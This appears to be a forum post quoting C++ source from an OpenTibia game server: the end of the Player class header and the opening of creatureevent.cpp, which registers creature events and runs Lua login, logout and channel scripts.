        void sendCreatureTurn(const Creature* creature)
            {if(client) client->sendCreatureTurn(creature, creature->getTile()->getClientIndexOfThing(this, creature));}
        void sendCreatureSay(const Creature* creature, SpeakClasses type, const std::string& text, Position* pos = NULL)
            {if(client) client->sendCreatureSay(creature, type, text, pos);}
        void sendCreatureSquare(const Creature* creature, SquareColor_t color)
            {if(client) client->sendCreatureSquare(creature, color);}
        void sendCreatureChangeOutfit(const Creature* creature, const Outfit_t& outfit)
            {if(client) client->sendCreatureOutfit(creature, outfit);}
        void sendCreatureChangeVisible(const Creature* creature, Visible_t visible);
        void sendCreatureLight(const Creature* creature)
            {if(client) client->sendCreatureLight(creature);}
        void sendCreatureShield(const Creature* creature)
            {if(client) client->sendCreatureShield(creature);}
        void sendExtendedOpcode(uint8_t opcode, const std::string& buffer)
            {if(client) client->sendExtendedOpcode(opcode, buffer);}
        void sendCreatureNick(const Creature* creature)
            {if(client) client->sendCreatureNick(creature);}

        //container
        void sendAddContainerItem(const Container* container, const Item* item);
        void sendUpdateContainerItem(const Container* container, uint8_t slot, const Item* oldItem, const Item* newItem);
        void sendRemoveContainerItem(const Container* container, uint8_t slot, const Item* item);
        void sendContainer(uint32_t cid, const Container* container, bool hasParent)
            {if(client) client->sendContainer(cid, container, hasParent);}

        //inventory
        void sendAddInventoryItem(slots_t slot, const Item* item)
            {if(client) client->sendAddInventoryItem(slot, item);}
        void sendUpdateInventoryItem(slots_t slot, const Item* oldItem, const Item* newItem)
            {if(client) client->sendUpdateInventoryItem(slot, newItem);}
        void sendRemoveInventoryItem(slots_t slot, const Item* item)
            {if(client) client->sendRemoveInventoryItem(slot);}

        //event methods
        virtual void onUpdateTileItem(const Tile* tile, const Position& pos, const Item* oldItem,
            const ItemType& oldType, const Item* newItem, const ItemType& newType);
        virtual void onRemoveTileItem(const Tile* tile, const Position& pos,
            const ItemType& iType, const Item* item);

        virtual void onCreatureAppear(const Creature* creature);
        virtual void onCreatureDisappear(const Creature* creature, bool isLogout);
        virtual void onCreatureMove(const Creature* creature, const Tile* newTile, const Position& newPos,
            const Tile* oldTile, const Position& oldPos, bool teleport);

        virtual void onAttackedCreatureDisappear(bool isLogout);
        virtual void onFollowCreatureDisappear(bool isLogout);

        //cylinder implementations
        virtual Cylinder* getParent() {return Creature::getParent();}
        virtual const Cylinder* getParent() const {return Creature::getParent();}
        virtual bool isRemoved() const {return Creature::isRemoved();}
        virtual Position getPosition() const {return Creature::getPosition();}
        virtual Tile* getTile() {return Creature::getTile();}
        virtual const Tile* getTile() const {return Creature::getTile();}
        virtual Item* getItem() {return NULL;}
        virtual const Item* getItem() const {return NULL;}
        virtual Creature* getCreature() {return this;}
        virtual const Creature* getCreature() const {return this;}

        //container
        void onAddContainerItem(const Container* container, const Item* item);
        void onUpdateContainerItem(const Container* container, uint8_t slot,
            const Item* oldItem, const ItemType& oldType, const Item* newItem, const ItemType& newType);
        void onRemoveContainerItem(const Container* container, uint8_t slot, const Item* item);

        void onCloseContainer(const Container* container);
        void onSendContainer(const Container* container);
        void autoCloseContainers(const Container* container);

        //inventory
        void onAddInventoryItem(slots_t slot, Item* item) {}
        void onUpdateInventoryItem(slots_t slot, Item* oldItem, const ItemType& oldType,
            Item* newItem, const ItemType& newType);
        void onRemoveInventoryItem(slots_t slot, Item* item);

        void sendAnimatedText(const Position& pos, uint8_t color, std::string text) const
            {if(client) client->sendAnimatedText(pos,color,text);}
        void sendCancel(const std::string& msg) const
            {if(client) client->sendCancel(msg);}
        void sendCancelMessage(ReturnValue message) const;
        void sendCancelTarget() const
            {if(client) client->sendCancelTarget();}
        void sendCancelWalk() const
            {if(client) client->sendCancelWalk();}
        void sendChangeSpeed(const Creature* creature, uint32_t newSpeed) const
            {if(client) client->sendChangeSpeed(creature, newSpeed);}
        void sendCreatureHealth(const Creature* creature) const
            {if(client) client->sendCreatureHealth(creature);}
        void sendDistanceShoot(const Position& from, const Position& to, uint8_t type) const
            {if(client) client->sendDistanceShoot(from, to, type);}
        void sendHouseWindow(House* house, uint32_t listId) const;
        void sendOutfitWindow() const {if(client) client->sendOutfitWindow();}
        void sendQuests() const {if(client) client->sendQuests();}
        void sendQuestInfo(Quest* quest) const {if(client) client->sendQuestInfo(quest);}
        void sendCreatureSkull(const Creature* creature) const
            {if(client) client->sendCreatureSkull(creature);}
        void sendFYIBox(std::string message)
            {if(client) client->sendFYIBox(message);}
        void sendCreatePrivateChannel(uint16_t channelId, const std::string& channelName)
            {if(client) client->sendCreatePrivateChannel(channelId, channelName);}
        void sendClosePrivate(uint16_t channelId) const
            {if(client) client->sendClosePrivate(channelId);}
        void sendIcons() const;
        void sendMagicEffect(const Position& pos, uint8_t type) const
            {if(client) client->sendMagicEffect(pos, type);}
        void sendStats();
        void sendSkills() const
            {if(client) client->sendSkills();}
        void sendTextMessage(MessageClasses type, const std::string& message) const
            {if(client) client->sendTextMessage(type, message);}
        void sendReLoginWindow() const
            {if(client) client->sendReLoginWindow();}
        void sendTextWindow(Item* item, uint16_t maxLen, bool canWrite) const
            {if(client) client->sendTextWindow(windowTextId, item, maxLen, canWrite);}
        void sendTextWindow(uint32_t itemId, const std::string& text) const
            {if(client) client->sendTextWindow(windowTextId, itemId, text);}
        void sendToChannel(Creature* creature, SpeakClasses type, const std::string& text, uint16_t channelId, uint32_t time = 0) const
            {if(client) client->sendToChannel(creature, type, text, channelId, time);}
        void sendShop() const
            {if(client) client->sendShop(shopOffer);}
        void sendGoods() const
            {if(client) client->sendGoods(shopOffer);}
        void sendCloseShop() const
            {if(client) client->sendCloseShop();}
        void sendTradeItemRequest(const Player* player, const Item* item, bool ack) const
            {if(client) client->sendTradeItemRequest(player, item, ack);}
        void sendTradeClose() const
            {if(client) client->sendCloseTrade();}
        void sendWorldLight(LightInfo& lightInfo)
            {if(client) client->sendWorldLight(lightInfo);}
        void sendChannelsDialog()
            {if(client) client->sendChannelsDialog();}
        void sendOpenPrivateChannel(const std::string& receiver)
            {if(client) client->sendOpenPrivateChannel(receiver);}
        void sendOutfitWindow()
            {if(client) client->sendOutfitWindow();}
        void sendCloseContainer(uint32_t cid)
            {if(client) client->sendCloseContainer(cid);}
        void sendChannel(uint16_t channelId, const std::string& channelName)
            {if(client) client->sendChannel(channelId, channelName);}
        void sendRuleViolationsChannel(uint16_t channelId)
            {if(client) client->sendRuleViolationsChannel(channelId);}
        void sendRemoveReport(const std::string& name)
            {if(client) client->sendRemoveReport(name);}
        void sendLockRuleViolation()
            {if(client) client->sendLockRuleViolation();}
        void sendRuleViolationCancel(const std::string& name)
            {if(client) client->sendRuleViolationCancel(name);}
        void sendTutorial(uint8_t tutorialId)
            {if(client) client->sendTutorial(tutorialId);}
        void sendAddMarker(const Position& pos, MapMarks_t markType, const std::string& desc)
            {if (client) client->sendAddMarker(pos, markType, desc);}
        void sendCritical() const;

        void receivePing() {lastPong = OTSYS_TIME();}
        virtual void onThink(uint32_t interval);
        uint32_t getAttackSpeed();

        virtual void postAddNotification(Creature* actor, Thing* thing, const Cylinder* oldParent,
            int32_t index, cylinderlink_t link = LINK_OWNER);
        virtual void postRemoveNotification(Creature* actor, Thing* thing, const Cylinder* newParent,
            int32_t index, bool isCompleteRemoval, cylinderlink_t link = LINK_OWNER);

        void setNextAction(int64_t time) {if(time > nextAction) {nextAction = time;}}
        bool canDoAction() const {return nextAction <= OTSYS_TIME();}
        uint32_t getNextActionTime() const;

        Item* getWriteItem(uint32_t& _windowTextId, uint16_t& _maxWriteLen);
        void setWriteItem(Item* item, uint16_t _maxWriteLen = 0);

        House* getEditHouse(uint32_t& _windowTextId, uint32_t& _listId);
        void setEditHouse(House* house, uint32_t listId = 0);

        void learnInstantSpell(const std::string& name);
        void unlearnInstantSpell(const std::string& name);
        bool hasLearnedInstantSpell(const std::string& name) const;

        VIPListSet VIPList;
        ContainerVector containerVec;
        InvitedToGuildsList invitedToGuildsList;
        ConditionList storedConditionList;
        DepotMap depots;

        uint32_t marriage;
        uint64_t balance;
        double rates[SKILL__LAST + 1];
        Container transferContainer;

    protected:
        void checkTradeState(const Item* item);

        bool gainExperience(double& gainExp, bool fromMonster);
        bool rateExperience(double& gainExp, bool fromMonster);
        void updateBaseSpeed()
        {
            if(!hasFlag(PlayerFlag_SetMaxSpeed))
                baseSpeed = vocation->getBaseSpeed() + (2 * (level - 1));
            else
                baseSpeed = SPEED_MAX;
        }

        void updateInventoryWeight();
        void updateInventoryGoods(uint32_t itemId);
        void updateItemsLight(bool internal = false);

        void setNextWalkActionTask(SchedulerTask* task);
        void setNextWalkTask(SchedulerTask* task);
        void setNextActionTask(SchedulerTask* task);

        virtual bool onDeath();
        virtual Item* createCorpse(DeathList deathList);

        virtual void dropCorpse(DeathList deathList);
        virtual void dropLoot(Container* corpse);

        //cylinder implementations
        virtual ReturnValue __queryAdd(int32_t index, const Thing* thing, uint32_t count,
            uint32_t flags) const;
        virtual ReturnValue __queryMaxCount(int32_t index, const Thing* thing, uint32_t count, uint32_t& maxQueryCount,
            uint32_t flags) const;
        virtual ReturnValue __queryRemove(const Thing* thing, uint32_t count, uint32_t flags) const;
        virtual Cylinder* __queryDestination(int32_t& index, const Thing* thing, Item** destItem,
            uint32_t& flags);

        virtual void __addThing(Creature* actor, Thing* thing);
        virtual void __addThing(Creature* actor, int32_t index, Thing* thing);

        virtual void __updateThing(Thing* thing, uint16_t itemId, uint32_t count);
        virtual void __replaceThing(uint32_t index, Thing* thing);

        virtual void __removeThing(Thing* thing, uint32_t count);

        virtual Thing* __getThing(uint32_t index) const;
        virtual int32_t __getIndexOfThing(const Thing* thing) const;
        virtual int32_t __getFirstIndex() const;
        virtual int32_t __getLastIndex() const;
        virtual uint32_t __getItemTypeCount(uint16_t itemId, int32_t subType = -1,
            bool itemCount = true) const;
        virtual std::map<uint32_t, uint32_t>& __getAllItemTypeCount(std::map<uint32_t,
            uint32_t>& countMap, bool itemCount = true) const;

        virtual void __internalAddThing(Thing* thing);
        virtual void __internalAddThing(uint32_t index, Thing* thing);

        uint32_t getVocAttackSpeed() const {return vocation->getAttackSpeed();}
        virtual int32_t getStepSpeed() const
        {
            if(getSpeed() > SPEED_MAX)
                return SPEED_MAX;

            if(getSpeed() < SPEED_MIN)
                return SPEED_MIN;

            return getSpeed();
        }

        virtual uint32_t getDamageImmunities() const {return damageImmunities;}
        virtual uint32_t getConditionImmunities() const {return conditionImmunities;}
        virtual uint32_t getConditionSuppressions() const {return conditionSuppressions;}

        virtual uint16_t getLookCorpse() const;
        virtual uint64_t getLostExperience() const;

        virtual void getPathSearchParams(const Creature* creature, FindPathParams& fpp) const;
        static uint32_t getPercentLevel(uint64_t count, uint64_t nextLevelCount);

        bool isPromoted(uint32_t pLevel = 1) const {return promotionLevel >= pLevel;}
        bool hasCapacity(const Item* item, uint32_t count) const;

    private:
        bool talkState[13];
        bool inventoryAbilities[11];
        bool pzLocked;
        bool saving;
        bool isConnecting;
        bool requestedOutfit;
        bool outfitAttributes;
        bool addAttackSkillPoint;

        OperatingSystem_t operatingSystem;
        AccountManager_t accountManager;
        PlayerSex_t managerSex;
        BlockType_t lastAttackBlockType;
        chaseMode_t chaseMode;
        fightMode_t fightMode;
        secureMode_t secureMode;
        tradestate_t tradeState;
        GuildLevel_t guildLevel;

        int16_t blessings;
        uint16_t maxWriteLen;
        uint16_t sex;

        int32_t premiumDays;
        int32_t soul;
        int32_t soulMax;
        int32_t vocation_id;
        int32_t groupId;
        int32_t managerNumber, managerNumber2;
        int32_t purchaseCallback;
        int32_t saleCallback;
        int32_t varSkills[SKILL_LAST + 1];
        int32_t varStats[STAT_LAST + 1];
        int32_t messageBuffer;
        int32_t bloodHitCount;
        int32_t shieldBlockCount;
        int32_t shootRange;

        uint32_t clientVersion;
        uint32_t messageTicks;
        uint32_t idleTime;
        uint32_t accountId;
        uint32_t lastIP;
        uint32_t level;
        uint32_t levelPercent;
        uint32_t magLevel;
        uint32_t magLevelPercent;
        uint32_t damageImmunities;
        uint32_t conditionImmunities;
        uint32_t conditionSuppressions;
        uint32_t condition; //?
        uint32_t nextStepEvent;
        uint32_t actionTaskEvent;
        uint32_t walkTaskEvent;
        uint32_t lossPercent[LOSS_LAST + 1];
        uint32_t skills[SKILL_LAST + 1][3];
        uint32_t guid;
        uint32_t editListId;
        uint32_t windowTextId;
        uint32_t guildId;
        uint32_t rankId;
        uint32_t promotionLevel;
        uint32_t town;

        time_t skullEnd;
        time_t lastLogin;
        time_t lastLogout;
        int64_t lastLoad;
        int64_t lastPong;
        int64_t lastPing;
        int64_t nextAction;
        uint64_t stamina;
        uint64_t experience;
        uint64_t manaSpent;
        uint64_t lastAttack;

        double inventoryWeight;
        double capacity;
        char managerChar[100];

        std::string managerString, managerString2;
        std::string account, password;
        std::string name, nameDescription, specialDescription;
        std::string guildName, rankName, guildNick;

        Position loginPosition;
        LightInfo itemsLight;

        Vocation* vocation;
        ProtocolGame* client;
        SchedulerTask* walkTask;
        Party* party;
        Group* group;
        Item* inventory[11];
        Player* tradePartner;
        Item* tradeItem;
        Item* writeItem;
        House* editHouse;
        Npc* shopOwner;

        typedef std::set<uint32_t> AttackedSet;
        AttackedSet attackedSet;
        ShopInfoList shopOffer;
        PartyList invitePartyList;
        OutfitMap outfits;
        LearnedInstantSpellList learnedInstantSpellList;

        friend class Game;
        friend class LuaScriptInterface;
        friend class Npc;
        friend class Map;
        friend class Actions;
        friend class IOLoginData;
        friend class ProtocolGame;
};
#endif
 

creatureevent.cpp

Citar

////////////////////////////////////////////////////////////////////////
// OpenTibia - an opensource roleplaying game
////////////////////////////////////////////////////////////////////////
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program.  If not, see <http://www.gnu.org/licenses/>.
////////////////////////////////////////////////////////////////////////
#include "otpch.h"
#ifdef __DEBUG_LUASCRIPTS__
#include <sstream>
#endif

#include "creatureevent.h"
#include "player.h"
#include "tools.h"

CreatureEvents::CreatureEvents():
m_interface("CreatureScript Interface")
{
    m_interface.initState();
}

CreatureEvents::~CreatureEvents()
{
    CreatureEventList::iterator it;
    for(it = m_creatureEvents.begin(); it != m_creatureEvents.end(); ++it)
        delete it->second;
}

void CreatureEvents::clear()
{
    //clear creature events
    for(CreatureEventList::iterator it = m_creatureEvents.begin(); it != m_creatureEvents.end(); ++it)
        it->second->clearEvent();

    //clear lua state
    m_interface.reInitState();
}

Event* CreatureEvents::getEvent(const std::string& nodeName)
{
    std::string tmpNodeName = asLowerCaseString(nodeName);
    if(tmpNodeName == "event" || tmpNodeName == "creaturevent" || tmpNodeName == "creatureevent" || tmpNodeName == "creaturescript")
        return new CreatureEvent(&m_interface);

    return NULL;
}

bool CreatureEvents::registerEvent(Event* event, xmlNodePtr p, bool override)
{
    CreatureEvent* creatureEvent = dynamic_cast<CreatureEvent*>(event);
    if(!creatureEvent)
        return false;

    if(creatureEvent->getEventType() == CREATURE_EVENT_NONE)
    {
        std::cout << "[Error - CreatureEvents::registerEvent] Trying to register event without type!" << std::endl;
        return false;
    }

    if(CreatureEvent* oldEvent = getEventByName(creatureEvent->getName(), false))
    {
        //if there was an event with the same type that is not loaded (happens when realoading), it is reused
        if(oldEvent->getEventType() == creatureEvent->getEventType() && (!oldEvent->isLoaded() || override))
            oldEvent->copyEvent(creatureEvent);

        /*delete creatureEvent;
        return override;*/
        return false;
    }

    //if not, register it normally
    m_creatureEvents[creatureEvent->getName()] = creatureEvent;
    return true;
}

CreatureEvent* CreatureEvents::getEventByName(const std::string& name, bool forceLoaded /*= true*/)
{
    CreatureEventList::iterator it = m_creatureEvents.find(name);
    if(it != m_creatureEvents.end())
    {
        if(!forceLoaded || it->second->isLoaded())
            return it->second;
    }

    return NULL;
}

bool CreatureEvents::playerLogin(Player* player)
{
    //fire global event if is registered
    bool result = true;
    for(CreatureEventList::iterator it = m_creatureEvents.begin(); it != m_creatureEvents.end(); ++it)
    {
        if(it->second->getEventType() == CREATURE_EVENT_LOGIN &&
            !it->second->executeLogin(player) && result)
            result = false;
    }

    return result;
}

bool CreatureEvents::playerLogout(Player* player, bool forceLogout)
{
    //fire global event if is registered
    bool result = true;
    for(CreatureEventList::iterator it = m_creatureEvents.begin(); it != m_creatureEvents.end(); ++it)
    {
        if(it->second->getEventType() == CREATURE_EVENT_LOGOUT &&
            !it->second->executeLogout(player, forceLogout) && result)
            result = false;
    }

    return forceLogout || result;
}

/////////////////////////////////////

CreatureEvent::CreatureEvent(LuaScriptInterface* _interface):
Event(_interface)
{
    m_type = CREATURE_EVENT_NONE;
    m_isLoaded = false;
}

bool CreatureEvent::configureEvent(xmlNodePtr p)
{
    std::string str;
    if(!readXMLString(p, "name", str))
    {
        std::cout << "[Error - CreatureEvent::configureEvent] No name for creature event." << std::endl;
        return false;
    }

    m_eventName = str;
    if(!readXMLString(p, "type", str))
    {
        std::cout << "[Error - CreatureEvent::configureEvent] No type for creature event." << std::endl;
        return false;
    }

    std::string tmpStr = asLowerCaseString(str);
    if(tmpStr == "login")
        m_type = CREATURE_EVENT_LOGIN;
    else if(tmpStr == "logout")
        m_type = CREATURE_EVENT_LOGOUT;
    else if(tmpStr == "joinchannel")
        m_type = CREATURE_EVENT_CHANNEL_JOIN;
    else if(tmpStr == "leavechannel")
        m_type = CREATURE_EVENT_CHANNEL_LEAVE;
    else if(tmpStr == "advance")
        m_type = CREATURE_EVENT_ADVANCE;
    else if(tmpStr == "sendmail")
        m_type = CREATURE_EVENT_MAIL_SEND;
    else if(tmpStr == "receivemail")
        m_type = CREATURE_EVENT_MAIL_RECEIVE;
    else if(tmpStr == "traderequest")
        m_type = CREATURE_EVENT_TRADE_REQUEST;
    else if(tmpStr == "tradeaccept")
        m_type = CREATURE_EVENT_TRADE_ACCEPT;
    else if(tmpStr == "textedit")
        m_type = CREATURE_EVENT_TEXTEDIT;
    else if(tmpStr == "reportbug")
        m_type = CREATURE_EVENT_REPORTBUG;
    else if(tmpStr == "look")
        m_type = CREATURE_EVENT_LOOK;
    else if(tmpStr == "think")
        m_type = CREATURE_EVENT_THINK;
    else if(tmpStr == "direction")
        m_type = CREATURE_EVENT_DIRECTION;
    else if(tmpStr == "outfit")
        m_type = CREATURE_EVENT_OUTFIT;
    else if(tmpStr == "statschange")
        m_type = CREATURE_EVENT_STATSCHANGE;
    else if(tmpStr == "areacombat")
        m_type = CREATURE_EVENT_COMBAT_AREA;
    else if(tmpStr == "push")
        m_type = CREATURE_EVENT_PUSH;
    else if(tmpStr == "target")
        m_type = CREATURE_EVENT_TARGET;
    else if(tmpStr == "follow")
        m_type = CREATURE_EVENT_FOLLOW;
    else if(tmpStr == "combat")
        m_type = CREATURE_EVENT_COMBAT;
    else if(tmpStr == "attack")
        m_type = CREATURE_EVENT_ATTACK;
    else if(tmpStr == "cast")
        m_type = CREATURE_EVENT_CAST;
    else if(tmpStr == "kill")
        m_type = CREATURE_EVENT_KILL;
    else if(tmpStr == "death")
        m_type = CREATURE_EVENT_DEATH;
    else if(tmpStr == "preparedeath")
        m_type = CREATURE_EVENT_PREPAREDEATH;
    else if(tmpStr == "spawn")
        m_type = CREATURE_EVENT_SPAWN;
    else if(tmpStr == "extendedopcode")
        m_type = CREATURE_EVENT_EXTENDED_OPCODE;
    else
    {
        std::cout << "[Error - CreatureEvent::configureEvent] No valid type for creature event." << str << std::endl;
        return false;
    }

    m_isLoaded = true;
    return true;
}

std::string CreatureEvent::getScriptEventName() const
{
    switch(m_type)
    {
        case CREATURE_EVENT_LOGIN:
            return "onLogin";
        case CREATURE_EVENT_LOGOUT:
            return "onLogout";
        case CREATURE_EVENT_CHANNEL_JOIN:
            return "onJoinChannel";
        case CREATURE_EVENT_CHANNEL_LEAVE:
            return "onLeaveChannel";
        case CREATURE_EVENT_THINK:
            return "onThink";
        case CREATURE_EVENT_ADVANCE:
            return "onAdvance";
        case CREATURE_EVENT_LOOK:
            return "onLook";
        case CREATURE_EVENT_DIRECTION:
            return "onDirection";
        case CREATURE_EVENT_OUTFIT:
            return "onOutfit";
        case CREATURE_EVENT_MAIL_SEND:
            return "onSendMail";
        case CREATURE_EVENT_MAIL_RECEIVE:
            return "onReceiveMail";
        case CREATURE_EVENT_TRADE_REQUEST:
            return "onTradeRequest";
        case CREATURE_EVENT_TRADE_ACCEPT:
            return "onTradeAccept";
        case CREATURE_EVENT_TEXTEDIT:
            return "onTextEdit";
        case CREATURE_EVENT_REPORTBUG:
            return "onReportBug";
        case CREATURE_EVENT_STATSCHANGE:
            return "onStatsChange";
        case CREATURE_EVENT_COMBAT_AREA:
            return "onAreaCombat";
        case CREATURE_EVENT_PUSH:
            return "onPush";
        case CREATURE_EVENT_TARGET:
            return "onTarget";
        case CREATURE_EVENT_FOLLOW:
            return "onFollow";
        case CREATURE_EVENT_COMBAT:
            return "onCombat";
        case CREATURE_EVENT_ATTACK:
            return "onAttack";
        case CREATURE_EVENT_CAST:
            return "onCast";
        case CREATURE_EVENT_KILL:
            return "onKill";
        case CREATURE_EVENT_DEATH:
            return "onDeath";
        case CREATURE_EVENT_EXTENDED_OPCODE:
            return "onExtendedOpcode";
        case CREATURE_EVENT_PREPAREDEATH:
            return "onPrepareDeath";
        case CREATURE_EVENT_SPAWN:
            return "onSpawn";
        case CREATURE_EVENT_NONE:
        default:
            break;
    }

    return "";
}

std::string CreatureEvent::getScriptEventParams() const
{
    switch(m_type)
    {
        case CREATURE_EVENT_LOGIN:
            return "cid";
        case CREATURE_EVENT_LOGOUT:
            return "cid, forceLogout";
        case CREATURE_EVENT_CHANNEL_JOIN:
        case CREATURE_EVENT_CHANNEL_LEAVE:
            return "cid, channel, users";
        case CREATURE_EVENT_ADVANCE:
            return "cid, skill, oldLevel, newLevel";
        case CREATURE_EVENT_LOOK:
            return "cid, thing, position, lookDistance";
        case CREATURE_EVENT_MAIL_SEND:
            return "cid, receiver, item, openBox";
        case CREATURE_EVENT_MAIL_RECEIVE:
            return "cid, sender, item, openBox";
        case CREATURE_EVENT_TRADE_REQUEST:
        case CREATURE_EVENT_TRADE_ACCEPT:
            return "cid, target, item";
        case CREATURE_EVENT_TEXTEDIT:
            return "cid, item, newText";
        case CREATURE_EVENT_REPORTBUG:
            return "cid, comment";
        case CREATURE_EVENT_THINK:
            return "cid, interval";
        case CREATURE_EVENT_DIRECTION:
        case CREATURE_EVENT_OUTFIT:
            return "cid, old, current";
        case CREATURE_EVENT_STATSCHANGE:
            return "cid, attacker, type, combat, value";
        case CREATURE_EVENT_COMBAT_AREA:
            return "cid, ground, position, aggressive";
        case CREATURE_EVENT_PUSH:
        case CREATURE_EVENT_TARGET:
        case CREATURE_EVENT_FOLLOW:
        case CREATURE_EVENT_COMBAT:
        case CREATURE_EVENT_ATTACK:
        case CREATURE_EVENT_CAST:
            return "cid, target";
        case CREATURE_EVENT_KILL:
            return "cid, target, lastHit";
        case CREATURE_EVENT_DEATH:
            return "cid, corpse, deathList";
        case CREATURE_EVENT_EXTENDED_OPCODE:
            return "cid, opcode, buffer";
        case CREATURE_EVENT_PREPAREDEATH:
            return "cid, deathList";
        case CREATURE_EVENT_SPAWN:
            return "cid";
        case CREATURE_EVENT_NONE:
        default:
            break;
    }

    return "";
}

void CreatureEvent::copyEvent(CreatureEvent* creatureEvent)
{
    m_scriptId = creatureEvent->m_scriptId;
    m_interface = creatureEvent->m_interface;
    m_scripted = creatureEvent->m_scripted;
    m_isLoaded = creatureEvent->m_isLoaded;
}

void CreatureEvent::clearEvent()
{
    m_scriptId = 0;
    m_interface = NULL;
    m_scripted = EVENT_SCRIPT_FALSE;
    m_isLoaded = false;
}

uint32_t CreatureEvent::executeLogin(Player* player)
{
    //onLogin(cid)
    if(m_interface->reserveEnv())
    {
        ScriptEnviroment* env = m_interface->getEnv();
        if(m_scripted == EVENT_SCRIPT_BUFFER)
        {
            env->setRealPos(player->getPosition());
            std::stringstream scriptstream;
            scriptstream << "local cid = " << env->addThing(player) << std::endl;

            scriptstream << m_scriptData;
            bool result = true;
            if(m_interface->loadBuffer(scriptstream.str()))
            {
                lua_State* L = m_interface->getState();
                result = m_interface->getGlobalBool(L, "_result", true);
            }

            m_interface->releaseEnv();
            return result;
        }
        else
        {
            #ifdef __DEBUG_LUASCRIPTS__
            char desc[35];
            sprintf(desc, "%s", player->getName().c_str());
            env->setEventDesc(desc);
            #endif

            env->setScriptId(m_scriptId, m_interface);
            env->setRealPos(player->getPosition());

            lua_State* L = m_interface->getState();
            m_interface->pushFunction(m_scriptId);
            lua_pushnumber(L, env->addThing(player));

            bool result = m_interface->callFunction(1);
            m_interface->releaseEnv();
            return result;
        }
    }
    else
    {
        std::cout << "[Error - CreatureEvent::executeLogin] Call stack overflow." << std::endl;
        return 0;
    }
}

uint32_t CreatureEvent::executeLogout(Player* player, bool forceLogout)
{
    //onLogout(cid, forceLogout)
    if(m_interface->reserveEnv())
    {
        ScriptEnviroment* env = m_interface->getEnv();
        if(m_scripted == EVENT_SCRIPT_BUFFER)
        {
            env->setRealPos(player->getPosition());
            std::stringstream scriptstream;

            scriptstream << "local cid = " << env->addThing(player) << std::endl;
            scriptstream << "local forceLogout = " << (forceLogout ? "true" : "false") << std::endl;

            scriptstream << m_scriptData;
            bool result = true;
            if(m_interface->loadBuffer(scriptstream.str()))
            {
                lua_State* L = m_interface->getState();
                result = m_interface->getGlobalBool(L, "_result", true);
            }

            m_interface->releaseEnv();
            return result;
        }
        else
        {
            #ifdef __DEBUG_LUASCRIPTS__
            char desc[35];
            sprintf(desc, "%s", player->getName().c_str());
            env->setEventDesc(desc);
            #endif

            env->setScriptId(m_scriptId, m_interface);
            env->setRealPos(player->getPosition());

            lua_State* L = m_interface->getState();
            m_interface->pushFunction(m_scriptId);

            lua_pushnumber(L, env->addThing(player));
            lua_pushboolean(L, forceLogout);

            bool result = m_interface->callFunction(2);
            m_interface->releaseEnv();
            return result;
        }
    }
    else
    {
        std::cout << "[Error - CreatureEvent::executeLogout] Call stack overflow." << std::endl;
        return 0;
    }
}

uint32_t CreatureEvent::executeChannelJoin(Player* player, uint16_t channelId, UsersMap usersMap)
{
    //onJoinChannel(cid, channel, users)
    if(m_interface->reserveEnv())
    {
        ScriptEnviroment* env = m_interface->getEnv();
        if(m_scripted == EVENT_SCRIPT_BUFFER)
        {
            env->setRealPos(player->getPosition());
            std::stringstream scriptstream;
            scriptstream << "local cid = " << env->addThing(player) << std::endl;

            scriptstream << "local channel = " << channelId << std::endl;
            scriptstream << "local users = {}" << std::endl;
            for(UsersMap::iterator it = usersMap.begin(); it != usersMap.end(); ++it)
                scriptstream << "users:insert(" << env->addThing(it->second) << ")" << std::endl;

            scriptstream << m_scriptData;
            bool result = true;
            if(m_interface->loadBuffer(scriptstream.str()))
            {
                lua_State* L = m_interface->getState();
                result = m_interface->getGlobalBool(L, "_result", true);
            }

            m_interface->releaseEnv();
            return result;
        }
        else
        {
            #ifdef __DEBUG_LUASCRIPTS__
            char desc[35];
            sprintf(desc, "%s", player->getName().c_str());
            env->setEventDesc(desc);
            #endif

            env->setScriptId(m_scriptId, m_interface);
            env->setRealPos(player->getPosition());

            lua_State* L = m_interface->getState();
            m_interface->pushFunction(m_scriptId);

            lua_pushnumber(L, env->addThing(player));
            lua_pushnumber(L, channelId);

            UsersMap::iterator it = usersMap.begin();
            lua_newtable(L);
            for(int32_t i = 1; it != usersMap.end(); ++it, ++i)
            {
                lua_pushnumber(L, i);
                lua_pushnumber(L, env->addThing(it->second));
                lua_settable(L, -3);
            }

            bool result = m_interface->callFunction(3);
            m_interface->releaseEnv();
            return result;
        }
    }
    else
    {
        std::cout << "[Error - CreatureEvent::executeChannelJoin] Call stack overflow." << std::endl;
        return 0;
    }
}

uint32_t CreatureEvent::executeChannelLeave(Player* player, uint16_t channelId, UsersMap usersMap)
{
    //onLeaveChannel(cid, channel, users)
    if(m_interface->reserveEnv())
    {
        ScriptEnviroment* env = m_interface->getEnv();
        if(m_scripted == EVENT_SCRIPT_BUFFER)
        {
            env->setRealPos(player->getPosition());
            std::stringstream scriptstream;
            scriptstream << "local cid = " << env->addThing(player) << std::endl;

            scriptstream << "local channel = " << channelId << std::endl;
            scriptstream << "local users = {}" << std::endl;
            for(UsersMap::iterator it = usersMap.begin(); it != usersMap.end(); ++it)
                scriptstream << "users:insert(" << env->addThing(it->second) << ")" << std::endl;

            scriptstream << m_scriptData;
            bool result = true;
            if(m_interface->loadBuffer(scriptstream.str()))
            {
                lua_State* L = m_interface->getState();
                result = m_interface->getGlobalBool(L, "_result", true);
            }

            m_interface->releaseEnv();
            return result;
        }
        else
        {
            #ifdef __DEBUG_LUASCRIPTS__
            char desc[35];
            sprintf(desc, "%s", player->getName().c_str());
            env->setEventDesc(desc);
            #endif

            env->setScriptId(m_scriptId, m_interface);
            env->setRealPos(player->getPosition());

            lua_State* L = m_interface->getState();
            m_interface->pushFunction(m_scriptId);

            lua_pushnumber(L, env->addThing(player));
            lua_pushnumber(L, channelId);

            UsersMap::iterator it = usersMap.begin();
            lua_newtable(L);
            for(int32_t i = 1; it != usersMap.end(); ++it, ++i)
            {
                lua_pushnumber(L, i);
                lua_pushnumber(L, env->addThing(it->second));
                lua_settable(L, -3);
            }

            bool result = m_interface->callFunction(3);
            m_interface->releaseEnv();
            return result;
        }
    }
    else
    {
        std::cout << "[Error - CreatureEvent::executeChannelLeave] Call stack overflow." << std::endl;
        return 0;
    }
}

